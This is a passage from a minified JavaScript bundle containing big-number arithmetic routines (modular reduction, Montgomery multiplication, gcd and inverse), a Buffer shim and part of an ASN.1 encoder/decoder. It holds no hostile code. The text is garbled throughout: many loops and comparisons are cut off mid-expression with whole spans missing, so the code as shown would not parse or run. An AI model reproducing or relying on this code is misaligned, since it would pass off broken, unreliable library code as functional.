k=(S+(u>>>13)|0)+(qi>>>26)|0,qi&=67108863,A[0]=Ei,A[1]=Ai,A[2]=Ii,A[3]=Oi,A[4]=Bi,A[5]=ki,A[6]=Ci,A[7]=Ri,A[8]=$i,A[9]=Ti,A[10]=Pi,A[11]=Ni,A[12]=zi,A[13]=Di,A[14]=Fi,A[15]=Li,A[16]=ji,A[17]=Ui,A[18]=qi,k!==0&&(A[19]=k,g.length++),g};Math.imul||(C=B);function F(x,f,h){h.negative=f.negative^x.negative,h.length=x.length+f.length;for(var g=0,y=0,M=0;M>>26)|0,y+=A>>>26,A&=67108863}h.words[M]=k,g=A,A=y}return g!==0?h.words[M]=g:h.length--,h.strip()}function z(x,f,h){var g=new D;return g.mulp(x,f,h)}a.prototype.mulTo=function(f,h){var g,y=this.length+f.length;return this.length===10&&f.length===10?g=C(this,f,h):y<63?g=B(this,f,h):y<1024?g=F(this,f,h):g=z(this,f,h),g};function D(x,f){this.x=x,this.y=f}D.prototype.makeRBT=function(f){for(var h=new Array(f),g=a.prototype._countBits(f)-1,y=0;y>=1;return y},D.prototype.permute=function(f,h,g,y,M,A){for(var k=0;k>>1)M++;return 1<>>13,g[2*A+1]=M&8191,M=M>>>13;for(A=2*h;A>=26,h+=y/67108864|0,h+=M>>>26,this.words[g]=M&67108863}return h!==0&&(this.words[g]=h,this.length++),this},a.prototype.muln=function(f){return this.clone().imuln(f)},a.prototype.sqr=function(){return this.mul(this)},a.prototype.isqr=function(){return this.imul(this.clone())},a.prototype.pow=function(f){var h=I(f);if(h.length===0)return new a(1);for(var g=this,y=0;y=0);var h=f%26,g=(f-h)/26,y=67108863>>>26-h<<26-h,M;if(h!==0){var A=0;for(M=0;M>>26-h}A&&(this.words[M]=A,this.length++)}if(g!==0){for(M=this.length-1;M>=0;M--)this.words[M+g]=this.words[M];for(M=0;M=0);var y;h?y=(h-h%26)/26:y=0;var M=f%26,A=Math.min((f-M)/26,this.length),k=67108863^67108863>>>M<A)for(this.length-=A,u=0;u=0&&(S!==0||u>=y);u--){var V=this.words[u]|0;this.words[u]=S<<26-M|V>>>M,S=V&k}return _&&S!==0&&(_.words[_.length++]=S),this.length===0&&(this.words[0]=0,this.length=1),this.strip()},a.prototype.ishrn=function(f,h,g){return n(this.negative===0),this.iushrn(f,h,g)},a.prototype.shln=function(f){return this.clone().ishln(f)},a.prototype.ushln=function(f){return this.clone().iushln(f)},a.prototype.shrn=function(f){return this.clone().ishrn(f)},a.prototype.ushrn=function(f){return this.clone().iushrn(f)},a.prototype.testn=function(f){n(typeof f=="number"&&f>=0);var h=f%26,g=(f-h)/26,y=1<=0);var h=f%26,g=(f-h)/26;if(n(this.negative===0,"imaskn works only with positive numbers"),this.length<=g)return this;if(h!==0&&g++,this.length=Math.min(g,this.length),h!==0){var y=67108863^67108863>>>h<=67108864;h++)this.words[h]-=67108864,h===this.length-1?this.words[h+1]=1:this.words[h+1]++;return this.length=Math.max(this.length,h+1),this},a.prototype.isubn=function(f){if(n(typeof f=="number"),n(f<67108864),f<0)return this.iaddn(-f);if(this.negative!==0)return this.negative=0,this.iaddn(f),this.negative=1,this;if(this.words[0]-=f,this.length===1&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var h=0;h>26)-(_/67108864|0),this.words[M+g]=A&67108863}for(;M>26,this.words[M+g]=A&67108863;if(k===0)return this.strip();for(n(k===-1),k=0,M=0;M>26,this.words[M]=A&67108863;return this.negative=1,this.strip()},a.prototype._wordDiv=function(f,h){var g=this.length-f.length,y=this.clone(),M=f,A=M.words[M.length-1]|0,k=this._countBits(A);g=26-k,g!==0&&(M=M.ushln(g),y.iushln(g),A=M.words[M.length-1]|0);var _=y.length-M.length,u;if(h!=="mod"){u=new a(null),u.length=_+1,u.words=new Array(u.length);for(var S=0;S=0;W--){var J=(y.words[M.length+W]|0)*67108864+(y.words[M.length+W-1]|0);for(J=Math.min(J/A|0,67108863),y._ishlnsubmul(M,J,W);y.negative!==0;)J--,y.negative=0,y._ishlnsubmul(M,1,W),y.isZero()||(y.negative^=1);u&&(u.words[W]=J)}return u&&u.strip(),y.strip(),h!=="div"&&g!==0&&y.iushrn(g),{div:u||null,mod:y}},a.prototype.divmod=function(f,h,g){if(n(!f.isZero()),this.isZero())return{div:new a(0),mod:new a(0)};var y,M,A;return this.negative!==0&&f.negative===0?(A=this.neg().divmod(f,h),h!=="mod"&&(y=A.div.neg()),h!=="div"&&(M=A.mod.neg(),g&&M.negative!==0&&M.iadd(f)),{div:y,mod:M}):this.negative===0&&f.negative!==0?(A=this.divmod(f.neg(),h),h!=="mod"&&(y=A.div.neg()),{div:y,mod:A.mod}):this.negative&f.negative?(A=this.neg().divmod(f.neg(),h),h!=="div"&&(M=A.mod.neg(),g&&M.negative!==0&&M.isub(f)),{div:A.div,mod:M}):f.length>this.length||this.cmp(f)<0?{div:new a(0),mod:this}:f.length===1?h==="div"?{div:this.divn(f.words[0]),mod:null}:h==="mod"?{div:null,mod:new a(this.modn(f.words[0]))}:{div:this.divn(f.words[0]),mod:new a(this.modn(f.words[0]))}:this._wordDiv(f,h)},a.prototype.div=function(f){return this.divmod(f,"div",!1).div},a.prototype.mod=function(f){return this.divmod(f,"mod",!1).mod},a.prototype.umod=function(f){return this.divmod(f,"mod",!0).mod},a.prototype.divRound=function(f){var h=this.divmod(f);if(h.mod.isZero())return h.div;var g=h.div.negative!==0?h.mod.isub(f):h.mod,y=f.ushrn(1),M=f.andln(1),A=g.cmp(y);return A<0||M===1&&A===0?h.div:h.div.negative!==0?h.div.isubn(1):h.div.iaddn(1)},a.prototype.modn=function(f){n(f<=67108863);for(var h=(1<<26)%f,g=0,y=this.length-1;y>=0;y--)g=(h*g+(this.words[y]|0))%f;return g},a.prototype.idivn=function(f){n(f<=67108863);for(var h=0,g=this.length-1;g>=0;g--){var y=(this.words[g]|0)+h*67108864;this.words[g]=y/f|0,h=y%f}return this.strip()},a.prototype.divn=function(f){return this.clone().idivn(f)},a.prototype.egcd=function(f){n(f.negative===0),n(!f.isZero());var h=this,g=f.clone();h.negative!==0?h=h.umod(f):h=h.clone();for(var y=new a(1),M=new a(0),A=new a(0),k=new a(1),_=0;h.isEven()&&g.isEven();)h.iushrn(1),g.iushrn(1),++_;for(var u=g.clone(),S=h.clone();!h.isZero();){for(var V=0,W=1;!(h.words[0]&W)&&V<26;++V,W<<=1);if(V>0)for(h.iushrn(V);V-- >0;)(y.isOdd()||M.isOdd())&&(y.iadd(u),M.isub(S)),y.iushrn(1),M.iushrn(1);for(var J=0,X=1;!(g.words[0]&X)&&J<26;++J,X<<=1);if(J>0)for(g.iushrn(J);J-- >0;)(A.isOdd()||k.isOdd())&&(A.iadd(u),k.isub(S)),A.iushrn(1),k.iushrn(1);h.cmp(g)>=0?(h.isub(g),y.isub(A),M.isub(k)):(g.isub(h),A.isub(y),k.isub(M))}return{a:A,b:k,gcd:g.iushln(_)}},a.prototype._invmp=function(f){n(f.negative===0),n(!f.isZero());var h=this,g=f.clone();h.negative!==0?h=h.umod(f):h=h.clone();for(var y=new a(1),M=new a(0),A=g.clone();h.cmpn(1)>0&&g.cmpn(1)>0;){for(var k=0,_=1;!(h.words[0]&_)&&k<26;++k,_<<=1);if(k>0)for(h.iushrn(k);k-- >0;)y.isOdd()&&y.iadd(A),y.iushrn(1);for(var u=0,S=1;!(g.words[0]&S)&&u<26;++u,S<<=1);if(u>0)for(g.iushrn(u);u-- >0;)M.isOdd()&&M.iadd(A),M.iushrn(1);h.cmp(g)>=0?(h.isub(g),y.isub(M)):(g.isub(h),M.isub(y))}var V;return h.cmpn(1)===0?V=y:V=M,V.cmpn(0)<0&&V.iadd(f),V},a.prototype.gcd=function(f){if(this.isZero())return f.abs();if(f.isZero())return this.abs();var h=this.clone(),g=f.clone();h.negative=0,g.negative=0;for(var y=0;h.isEven()&&g.isEven();y++)h.iushrn(1),g.iushrn(1);do{for(;h.isEven();)h.iushrn(1);for(;g.isEven();)g.iushrn(1);var M=h.cmp(g);if(M<0){var A=h;h=g,g=A}else if(M===0||g.cmpn(1)===0)break;h.isub(g)}while(!0);return g.iushln(y)},a.prototype.invm=function(f){return this.egcd(f).a.umod(f)},a.prototype.isEven=function(){return(this.words[0]&1)===0},a.prototype.isOdd=function(){return(this.words[0]&1)===1},a.prototype.andln=function(f){return this.words[0]&f},a.prototype.bincn=function(f){n(typeof f=="number");var h=f%26,g=(f-h)/26,y=1<>>26,k&=67108863,this.words[A]=k}return M!==0&&(this.words[A]=M,this.length++),this},a.prototype.isZero=function(){return this.length===1&&this.words[0]===0},a.prototype.cmpn=function(f){var h=f<0;if(this.negative!==0&&!h)return-1;if(this.negative===0&&h)return 1;this.strip();var g;if(this.length>1)g=1;else{h&&(f=-f),n(f<=67108863,"Number is too big");var y=this.words[0]|0;g=y===f?0:yf.length)return 1;if(this.length=0;g--){var y=this.words[g]|0,M=f.words[g]|0;if(y!==M){yM&&(h=1);break}}return h},a.prototype.gtn=function(f){return this.cmpn(f)===1},a.prototype.gt=function(f){return this.cmp(f)===1},a.prototype.gten=function(f){return this.cmpn(f)>=0},a.prototype.gte=function(f){return this.cmp(f)>=0},a.prototype.ltn=function(f){return this.cmpn(f)===-1},a.prototype.lt=function(f){return this.cmp(f)===-1},a.prototype.lten=function(f){return this.cmpn(f)<=0},a.prototype.lte=function(f){return this.cmp(f)<=0},a.prototype.eqn=function(f){return this.cmpn(f)===0},a.prototype.eq=function(f){return this.cmp(f)===0},a.red=function(f){return new H(f)},a.prototype.toRed=function(f){return n(!this.red,"Already a number in reduction context"),n(this.negative===0,"red works only with positives"),f.convertTo(this)._forceRed(f)},a.prototype.fromRed=function(){return n(this.red,"fromRed works only with numbers in reduction context"),this.red.convertFrom(this)},a.prototype._forceRed=function(f){return this.red=f,this},a.prototype.forceRed=function(f){return n(!this.red,"Already a number in reduction context"),this._forceRed(f)},a.prototype.redAdd=function(f){return n(this.red,"redAdd works only with red numbers"),this.red.add(this,f)},a.prototype.redIAdd=function(f){return n(this.red,"redIAdd works only with red numbers"),this.red.iadd(this,f)},a.prototype.redSub=function(f){return n(this.red,"redSub works only with red numbers"),this.red.sub(this,f)},a.prototype.redISub=function(f){return n(this.red,"redISub works only with red numbers"),this.red.isub(this,f)},a.prototype.redShl=function(f){return n(this.red,"redShl works only with red numbers"),this.red.shl(this,f)},a.prototype.redMul=function(f){return n(this.red,"redMul works only with red numbers"),this.red._verify2(this,f),this.red.mul(this,f)},a.prototype.redIMul=function(f){return n(this.red,"redMul works only with red numbers"),this.red._verify2(this,f),this.red.imul(this,f)},a.prototype.redSqr=function(){return n(this.red,"redSqr works only with red numbers"),this.red._verify1(this),this.red.sqr(this)},a.prototype.redISqr=function(){return n(this.red,"redISqr works only with red numbers"),this.red._verify1(this),this.red.isqr(this)},a.prototype.redSqrt=function(){return n(this.red,"redSqrt works only with red numbers"),this.red._verify1(this),this.red.sqrt(this)},a.prototype.redInvm=function(){return n(this.red,"redInvm works only with red numbers"),this.red._verify1(this),this.red.invm(this)},a.prototype.redNeg=function(){return n(this.red,"redNeg works only with red numbers"),this.red._verify1(this),this.red.neg(this)},a.prototype.redPow=function(f){return n(this.red&&!f.red,"redPow(normalNum)"),this.red._verify1(this),this.red.pow(this,f)};var R={k256:null,p224:null,p192:null,p25519:null};function N(x,f){this.name=x,this.p=new a(f,16),this.n=this.p.bitLength(),this.k=new a(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}N.prototype._tmp=function(){var f=new a(null);return f.words=new Array(Math.ceil(this.n/13)),f},N.prototype.ireduce=function(f){var h=f,g;do this.split(h,this.tmp),h=this.imulK(h),h=h.iadd(this.tmp),g=h.bitLength();while(g>this.n);var y=g0?h.isub(this.p):h.strip!==void 0?h.strip():h._strip(),h},N.prototype.split=function(f,h){f.iushrn(this.n,0,h)},N.prototype.imulK=function(f){return f.imul(this.k)};function $(){N.call(this,"k256","ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f")}i($,N),$.prototype.split=function(f,h){for(var g=4194303,y=Math.min(f.length,9),M=0;M>>22,A=k}A>>>=22,f.words[M-10]=A,A===0&&f.length>10?f.length-=10:f.length-=9},$.prototype.imulK=function(f){f.words[f.length]=0,f.words[f.length+1]=0,f.length+=2;for(var h=0,g=0;g>>=26,f.words[g]=M,h=y}return h!==0&&(f.words[f.length++]=h),f},a._prime=function(f){if(R[f])return R[f];var h;if(f==="k256")h=new $;else if(f==="p224")h=new L;else if(f==="p192")h=new K;else if(f==="p25519")h=new j;else throw new Error("Unknown prime "+f);return R[f]=h,h};function H(x){if(typeof x=="string"){var f=a._prime(x);this.m=f.p,this.prime=f}else n(x.gtn(1),"modulus must be greater than 1"),this.m=x,this.prime=null}H.prototype._verify1=function(f){n(f.negative===0,"red works only with positives"),n(f.red,"red works only with red numbers")},H.prototype._verify2=function(f,h){n((f.negative|h.negative)===0,"red works only with positives"),n(f.red&&f.red===h.red,"red works only with red numbers")},H.prototype.imod=function(f){return this.prime?this.prime.ireduce(f)._forceRed(this):f.umod(this.m)._forceRed(this)},H.prototype.neg=function(f){return f.isZero()?f.clone():this.m.sub(f)._forceRed(this)},H.prototype.add=function(f,h){this._verify2(f,h);var g=f.add(h);return g.cmp(this.m)>=0&&g.isub(this.m),g._forceRed(this)},H.prototype.iadd=function(f,h){this._verify2(f,h);var g=f.iadd(h);return g.cmp(this.m)>=0&&g.isub(this.m),g},H.prototype.sub=function(f,h){this._verify2(f,h);var g=f.sub(h);return g.cmpn(0)<0&&g.iadd(this.m),g._forceRed(this)},H.prototype.isub=function(f,h){this._verify2(f,h);var g=f.isub(h);return g.cmpn(0)<0&&g.iadd(this.m),g},H.prototype.shl=function(f,h){return this._verify1(f),this.imod(f.ushln(h))},H.prototype.imul=function(f,h){return this._verify2(f,h),this.imod(f.imul(h))},H.prototype.mul=function(f,h){return this._verify2(f,h),this.imod(f.mul(h))},H.prototype.isqr=function(f){return this.imul(f,f.clone())},H.prototype.sqr=function(f){return this.mul(f,f)},H.prototype.sqrt=function(f){if(f.isZero())return f.clone();var h=this.m.andln(3);if(n(h%2===1),h===3){var g=this.m.add(new a(1)).iushrn(2);return this.pow(f,g)}for(var y=this.m.subn(1),M=0;!y.isZero()&&y.andln(1)===0;)M++,y.iushrn(1);n(!y.isZero());var A=new a(1).toRed(this),k=A.redNeg(),_=this.m.subn(1).iushrn(1),u=this.m.bitLength();for(u=new a(2*u*u).toRed(this);this.pow(u,_).cmp(k)!==0;)u.redIAdd(k);for(var S=this.pow(u,y),V=this.pow(f,y.addn(1).iushrn(1)),W=this.pow(f,y),J=M;W.cmp(A)!==0;){for(var X=W,ie=0;X.cmp(A)!==0;ie++)X=X.redSqr();n(ie=0;M--){for(var S=h.words[M],V=u-1;V>=0;V--){var W=S>>V&1;if(A!==y[0]&&(A=this.sqr(A)),W===0&&k===0){_=0;continue}k<<=1,k|=W,_++,!(_!==g&&(M!==0||V!==0))&&(A=this.mul(A,y[k]),_=0,k=0)}u=26}return A},H.prototype.convertTo=function(f){var h=f.umod(this.m);return h===f?h.clone():h},H.prototype.convertFrom=function(f){var h=f.clone();return h.red=null,h},a.mont=function(f){return new U(f)};function U(x){H.call(this,x),this.shift=this.m.bitLength(),this.shift%26!==0&&(this.shift+=26-this.shift%26),this.r=new a(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}i(U,H),U.prototype.convertTo=function(f){return this.imod(f.ushln(this.shift))},U.prototype.convertFrom=function(f){var h=this.imod(f.mul(this.rinv));return h.red=null,h},U.prototype.imul=function(f,h){if(f.isZero()||h.isZero())return f.words[0]=0,f.length=1,f;var g=f.imul(h),y=g.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),M=g.isub(y).iushrn(this.shift),A=M;return M.cmp(this.m)>=0?A=M.isub(this.m):M.cmpn(0)<0&&(A=M.iadd(this.m)),A._forceRed(this)},U.prototype.mul=function(f,h){if(f.isZero()||h.isZero())return new a(0)._forceRed(this);var g=f.mul(h),y=g.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),M=g.isub(y).iushrn(this.shift),A=M;return M.cmp(this.m)>=0?A=M.isub(this.m):M.cmpn(0)<0&&(A=M.iadd(this.m)),A._forceRed(this)},U.prototype.invm=function(f){var h=this.imod(f._invmp(this.m).mul(this.r2));return h._forceRed(this)}})(e,ld)})(Ha);var Nt=Ha.exports,lf={},Va={},ma={exports:{}};typeof Object.create=="function"?ma.exports=function(t,r){r&&(t.super_=r,t.prototype=Object.create(r.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}))}:ma.exports=function(t,r){if(r){t.super_=r;var n=function(){};n.prototype=r.prototype,t.prototype=new n,t.prototype.constructor=t}};var zt=ma.exports,Jn=fi,Zr=Jn.Buffer,xt={},wt;for(wt in Jn)Jn.hasOwnProperty(wt)&&(wt==="SlowBuffer"||wt==="Buffer"||(xt[wt]=Jn[wt]));var Qr=xt.Buffer={};for(wt in Zr)Zr.hasOwnProperty(wt)&&(wt==="allocUnsafe"||wt==="allocUnsafeSlow"||(Qr[wt]=Zr[wt]));xt.Buffer.prototype=Zr.prototype;(!Qr.from||Qr.from===Uint8Array.from)&&(Qr.from=function(e,t,r){if(typeof e=="number")throw new TypeError('The "value" argument must not be of type number. Received type '+typeof e);if(e&&typeof e.length>"u")throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof e);return Zr(e,t,r)});Qr.alloc||(Qr.alloc=function(e,t,r){if(typeof e!="number")throw new TypeError('The "size" argument must be of type number. Received type '+typeof e);if(e<0||e>=2*(1<<30))throw new RangeError('The value "'+e+'" is invalid for option "size"');var n=Zr(e);return!t||t.length===0?n.fill(0):typeof r=="string"?n.fill(t,r):n.fill(t),n});if(!xt.kStringMaxLength)try{xt.kStringMaxLength=process.binding("buffer").kStringMaxLength}catch{}xt.constants||(xt.constants={MAX_LENGTH:xt.kMaxLength},xt.kStringMaxLength&&(xt.constants.MAX_STRING_LENGTH=xt.kStringMaxLength));var Ka=xt,di={};const u0=zt;function At(e){this._reporterState={obj:null,path:[],options:e||{},errors:[]}}di.Reporter=At;At.prototype.isError=function(t){return t instanceof an};At.prototype.save=function(){const t=this._reporterState;return{obj:t.obj,pathLen:t.path.length}};At.prototype.restore=function(t){const r=this._reporterState;r.obj=t.obj,r.path=r.path.slice(0,t.pathLen)};At.prototype.enterKey=function(t){return this._reporterState.path.push(t)};At.prototype.exitKey=function(t){const r=this._reporterState;r.path=r.path.slice(0,t-1)};At.prototype.leaveKey=function(t,r,n){const i=this._reporterState;this.exitKey(t),i.obj!==null&&(i.obj[r]=n)};At.prototype.path=function(){return this._reporterState.path.join("/")};At.prototype.enterObject=function(){const t=this._reporterState,r=t.obj;return t.obj={},r};At.prototype.leaveObject=function(t){const r=this._reporterState,n=r.obj;return r.obj=t,n};At.prototype.error=function(t){let r;const n=this._reporterState,i=t instanceof an;if(i?r=t:r=new an(n.path.map(function(a){return"["+JSON.stringify(a)+"]"}).join(""),t.message||t,t.stack),!n.options.partial)throw r;return i||n.errors.push(r),r};At.prototype.wrapResult=function(t){const r=this._reporterState;return r.options.partial?{result:this.isError(t)?null:t,errors:r.errors}:t};function an(e,t){this.path=e,this.rethrow(t)}u0(an,Error);an.prototype.rethrow=function(t){if(this.message=t+" at: "+(this.path||"(shallow)"),Error.captureStackTrace&&Error.captureStackTrace(this,an),!this.stack)try{throw new Error(this.message)}catch(r){this.stack=r.stack}return this};var Hr={};const c0=zt,hi=di.Reporter,on=Ka.Buffer;function _t(e,t){if(hi.call(this,t),!on.isBuffer(e)){this.error("Input not Buffer");return}this.base=e,this.offset=0,this.length=e.length}c0(_t,hi);Hr.DecoderBuffer=_t;_t.isDecoderBuffer=function(t){return t instanceof _t?!0:typeof t=="object"&&on.isBuffer(t.base)&&t.constructor.name==="DecoderBuffer"&&typeof t.offset=="number"&&typeof t.length=="number"&&typeof t.save=="function"&&typeof t.restore=="function"&&typeof t.isEmpty=="function"&&typeof t.readUInt8=="function"&&typeof t.skip=="function"&&typeof t.raw=="function"};_t.prototype.save=function(){return{offset:this.offset,reporter:hi.prototype.save.call(this)}};_t.prototype.restore=function(t){const r=new _t(this.base);return r.offset=t.offset,r.length=this.offset,this.offset=t.offset,hi.prototype.restore.call(this,t.reporter),r};_t.prototype.isEmpty=function(){return this.offset===this.length};_t.prototype.readUInt8=function(t){return this.offset+1<=this.length?this.base.readUInt8(this.offset++,!0):this.error(t||"DecoderBuffer overrun")};_t.prototype.skip=function(t,r){if(!(this.offset+t<=this.length))return this.error(r||"DecoderBuffer overrun");const n=new _t(this.base);return n._reporterState=this._reporterState,n.offset=this.offset,n.length=this.offset+t,this.offset+=t,n};_t.prototype.raw=function(t){return this.base.slice(t?t.offset:this.offset,this.length)};function sn(e,t){if(Array.isArray(e))this.length=0,this.value=e.map(function(r){return sn.isEncoderBuffer(r)||(r=new sn(r,t)),this.length+=r.length,r},this);else if(typeof e=="number"){if(!(0<=e&&e<=255))return t.error("non-byte EncoderBuffer value");this.value=e,this.length=1}else if(typeof e=="string")this.value=e,this.length=on.byteLength(e);else if(on.isBuffer(e))this.value=e,this.length=e.length;else return t.error("Unsupported type: "+typeof e)}Hr.EncoderBuffer=sn;sn.isEncoderBuffer=function(t){return t instanceof sn?!0:typeof t=="object"&&t.constructor.name==="EncoderBuffer"&&typeof t.length=="number"&&typeof t.join=="function"};sn.prototype.join=function(t,r){return t||(t=on.alloc(this.length)),r||(r=0),this.length===0||(Array.isArray(this.value)?this.value.forEach(function(n){n.join(t,r),r+=n.length}):(typeof this.value=="number"?t[r]=this.value:typeof this.value=="string"?t.write(this.value,r):on.isBuffer(this.value)&&this.value.copy(t,r),r+=this.length)),t};var Ar=uf;function uf(e,t){if(!e)throw new Error(t||"Assertion failed")}uf.equal=function(t,r,n){if(t!=r)throw new Error(n||"Assertion failed: "+t+" != "+r)};const d0=di.Reporter,h0=Hr.EncoderBuffer,p0=Hr.DecoderBuffer,st=Ar,cf=["seq","seqof","set","setof","objid","bool","gentime","utctime","null_","enum","int","objDesc","bitstr","bmpstr","charstr","genstr","graphstr","ia5str","iso646str","numstr","octstr","printstr","t61str","unistr","utf8str","videostr"],b0=["key","obj","use","optional","explicit","implicit","def","choice","any","contains"].concat(cf),v0=["_peekTag","_decodeTag","_use","_decodeStr","_decodeObjid","_decodeTime","_decodeNull","_decodeInt","_decodeBool","_decodeList","_encodeComposite","_encodeStr","_encodeObjid","_encodeTime","_encodeNull","_encodeInt","_encodeBool"];function ye(e,t,r){const n={};this._baseState=n,n.name=r,n.enc=e,n.parent=t||null,n.children=null,n.tag=null,n.args=null,n.reverseArgs=null,n.choice=null,n.optional=!1,n.any=!1,n.obj=!1,n.use=null,n.useDecoder=null,n.key=null,n.default=null,n.explicit=null,n.implicit=null,n.contains=null,n.parent||(n.children=[],this._wrap())}var Wa=ye;const m0=["enc","parent","children","tag","args","reverseArgs","choice","optional","any","obj","use","alteredUse","key","default","explicit","implicit","contains"];ye.prototype.clone=function(){const t=this._baseState,r={};m0.forEach(function(i){r[i]=t[i]});const n=new this.constructor(r.parent);return n._baseState=r,n};ye.prototype._wrap=function(){const t=this._baseState;b0.forEach(function(r){this[r]=function(){const i=new this.constructor(this);return t.children.push(i),i[r].apply(i,arguments)}},this)};ye.prototype._init=function(t){const r=this._baseState;st(r.parent===null),t.call(this),r.children=r.children.filter(function(n){return n._baseState.parent===this},this),st.equal(r.children.length,1,"Root node can have only one child")};ye.prototype._useArgs=function(t){const r=this._baseState,n=t.filter(function(i){return i instanceof this.constructor},this);t=t.filter(function(i){return!(i instanceof this.constructor)},this),n.length!==0&&(st(r.children===null),r.children=n,n.forEach(function(i){i._baseState.parent=this},this)),t.length!==0&&(st(r.args===null),r.args=t,r.reverseArgs=t.map(function(i){if(typeof i!="object"||i.constructor!==Object)return i;const a={};return Object.keys(i).forEach(function(s){s==(s|0)&&(s|=0);const o=i[s];a[o]=s}),a}))};v0.forEach(function(e){ye.prototype[e]=function(){const r=this._baseState;throw new Error(e+" not implemented for encoding: "+r.enc)}});cf.forEach(function(e){ye.prototype[e]=function(){const r=this._baseState,n=Array.prototype.slice.call(arguments);return st(r.tag===null),r.tag=e,this._useArgs(n),this}});ye.prototype.use=function(t){st(t);const r=this._baseState;return st(r.use===null),r.use=t,this};ye.prototype.optional=function(){const t=this._baseState;return t.optional=!0,this};ye.prototype.def=function(t){const r=this._baseState;return st(r.default===null),r.default=t,r.optional=!0,this};ye.prototype.explicit=function(t){const r=this._baseState;return st(r.explicit===null&&r.implicit===null),r.explicit=t,this};ye.prototype.implicit=function(t){const r=this._baseState;return st(r.explicit===null&&r.implicit===null),r.implicit=t,this};ye.prototype.obj=function(){const t=this._baseState,r=Array.prototype.slice.call(arguments);return t.obj=!0,r.length!==0&&this._useArgs(r),this};ye.prototype.key=function(t){const r=this._baseState;return st(r.key===null),r.key=t,this};ye.prototype.any=function(){const t=this._baseState;return t.any=!0,this};ye.prototype.choice=function(t){const r=this._baseState;return st(r.choice===null),r.choice=t,this._useArgs(Object.keys(t).map(function(n){return t[n]})),this};ye.prototype.contains=function(t){const r=this._baseState;return st(r.use===null),r.contains=t,this};ye.prototype._decode=function(t,r){const n=this._baseState;if(n.parent===null)return t.wrapResult(n.children[0]._decode(t,r));let i=n.default,a=!0,s=null;if(n.key!==null&&(s=t.enterKey(n.key)),n.optional){let d=null;if(n.explicit!==null?d=n.explicit:n.implicit!==null?d=n.implicit:n.tag!==null&&(d=n.tag),d===null&&!n.any){const b=t.save();try{n.choice===null?this._decodeGeneric(n.tag,t,r):this._decodeChoice(t,r),a=!0}catch{a=!1}t.restore(b)}else if(a=this._peekTag(t,d,n.any),t.isError(a))return a}let o;if(n.obj&&a&&(o=t.enterObject()),a){if(n.explicit!==null){const b=this._decodeTag(t,n.explicit);if(t.isError(b))return b;t=b}const d=t.offset;if(n.use===null&&n.choice===null){let b;n.any&&(b=t.save());const p=this._decodeTag(t,n.implicit!==null?n.implicit:n.tag,n.any);if(t.isError(p))return p;n.any?i=t.raw(b):t=p}if(r&&r.track&&n.tag!==null&&r.track(t.path(),d,t.length,"tagged"),r&&r.track&&n.tag!==null&&r.track(t.path(),t.offset,t.length,"content"),n.any||(n.choice===null?i=this._decodeGeneric(n.tag,t,r):i=this._decodeChoice(t,r)),t.isError(i))return i;if(!n.any&&n.choice===null&&n.children!==null&&n.children.forEach(function(p){p._decode(t,r)}),n.contains&&(n.tag==="octstr"||n.tag==="bitstr")){const b=new p0(i);i=this._getUse(n.contains,t._reporterState.obj)._decode(b,r)}}return n.obj&&a&&(i=t.leaveObject(o)),n.key!==null&&(i!==null||a===!0)?t.leaveKey(s,n.key,i):s!==null&&t.exitKey(s),i};ye.prototype._decodeGeneric=function(t,r,n){const i=this._baseState;return t==="seq"||t==="set"?null:t==="seqof"||t==="setof"?this._decodeList(r,t,i.args[0],n):/str$/.test(t)?this._decodeStr(r,t,n):t==="objid"&&i.args?this._decodeObjid(r,i.args[0],i.args[1],n):t==="objid"?this._decodeObjid(r,null,null,n):t==="gentime"||t==="utctime"?this._decodeTime(r,t,n):t==="null_"?this._decodeNull(r,n):t==="bool"?this._decodeBool(r,n):t==="objDesc"?this._decodeStr(r,t,n):t==="int"||t==="enum"?this._decodeInt(r,i.args&&i.args[0],n):i.use!==null?this._getUse(i.use,r._reporterState.obj)._decode(r,n):r.error("unknown tag: "+t)};ye.prototype._getUse=function(t,r){const n=this._baseState;return n.useDecoder=this._use(t,r),st(n.useDecoder._baseState.parent===null),n.useDecoder=n.useDecoder._baseState.children[0],n.implicit!==n.useDecoder._baseState.implicit&&(n.useDecoder=n.useDecoder.clone(),n.useDecoder._baseState.implicit=n.implicit),n.useDecoder};ye.prototype._decodeChoice=function(t,r){const n=this._baseState;let i=null,a=!1;return Object.keys(n.choice).some(function(s){const o=t.save(),d=n.choice[s];try{const b=d._decode(t,r);if(t.isError(b))return!1;i={type:s,value:b},a=!0}catch{return t.restore(o),!1}return!0},this),a?i:t.error("Choice not matched")};ye.prototype._createEncoderBuffer=function(t){return new h0(t,this.reporter)};ye.prototype._encode=function(t,r,n){const i=this._baseState;if(i.default!==null&&i.default===t)return;const a=this._encodeValue(t,r,n);if(a!==void 0&&!this._skipDefault(a,r,n))return a};ye.prototype._encodeValue=function(t,r,n){const i=this._baseState;if(i.parent===null)return i.children[0]._encode(t,r||new d0);let a=null;if(this.reporter=r,i.optional&&t===void 0)if(i.default!==null)t=i.default;else return;let s=null,o=!1;if(i.any)a=this._createEncoderBuffer(t);else if(i.choice)a=this._encodeChoice(t,r);else if(i.contains)s=this._getUse(i.contains,n)._encode(t,r),o=!0;else if(i.children)s=i.children.map(function(d){if(d._baseState.tag==="null_")return d._encode(null,r,t);if(d._baseState.key===null)return r.error("Child should have a key");const b=r.enterKey(d._baseState.key);if(typeof t!="object")return r.error("Child expected, but input is not object");const p=d._encode(t[d._baseState.key],r,t);return r.leaveKey(b),p},this).filter(function(d){return d}),s=this._createEncoderBuffer(s);else if(i.tag==="seqof"||i.tag==="setof"){if(!(i.args&&i.args.length===1))return r.error("Too many args for : "+i.tag);if(!Array.isArray(t))return r.error("seqof/setof, but data is not Array");const d=this.clone();d._baseState.implicit=null,s=this._createEncoderBuffer(t.map(function(b){const p=this._baseState;return this._getUse(p.args[0],t)._encode(b,r)},d))}else 